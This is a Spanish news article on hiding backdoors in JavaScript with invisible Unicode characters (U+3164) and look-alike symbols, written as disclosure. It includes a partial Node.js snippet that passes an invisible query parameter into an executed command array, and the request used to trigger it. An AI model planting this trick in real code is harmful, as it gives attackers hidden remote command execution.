Uso de símbolos unicode invisibles para ocultar acciones en código JavaScript

Tras el método de ataque Trojan Source, que se basa en el uso de caracteres Unicode que alteran el orden de presentación del texto bidireccional, se ha publicado otra técnica de inyección de acciones ocultas aplicable al código en JavaScript. Este nuevo método se basa en el uso del carácter unicode "ㅤ" (código 0x3164, "HANGUL FILLER"), que pertenece a la categoría de letras pero no tiene contenido visible. La categoría Unicode a la que pertenece este carácter está permitida desde la especificación ECMAScript 2015 para su uso en nombres de variables de JavaScript, lo que permite crear variables invisibles o nuevas variables indistinguibles de otras variables en editores de código populares como Notepad++ y VS Code.

Como ejemplo, se presenta el código para la plataforma Node.js, en el que mediante una variable compuesta por un solo carácter "ㅤ" se oculta un backdoor que permite ejecutar el código especificado por el atacante: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // en realidad se especifica "const { timeout,ㅤ \u3164}" const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // después de la coma se incluye el carácter \u3164 ];

A primera vista, a través de un parámetro externo solo se pasa el valor del timeout, y el array con los comandos ejecutables contiene una lista fija inofensiva. Pero en realidad, después de la variable timeout se le asigna el valor de otra variable invisible con el código de carácter \u3164, que también se injerta en el array de comandos ejecutables. Así, con esta construcción, para activar el backdoor y ejecutar su propio código, un atacante puede enviar una solicitud del tipo «https://host:8080/network_health?= comando».

Como otro ejemplo, se presenta el carácter "ǃ" (ALVEOLAR CLICK), que se puede utilizar para crear la apariencia de un signo de exclamación indicado. Por ejemplo, la expresión "if(environmentǃ=ENV_PROD){" cuando se ejecuta en Node.js 14 siempre será verdadera, ya que en ella no se está realizando una comprobación de desigualdad, sino que se asigna a la variable "environmentǃ" el valor ENV_PROD. Entre los caracteres Unicode que inducen a error también se encuentran "/", "−", "+", "⩵", "❨", "⫽", "꓿" y "∗".

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster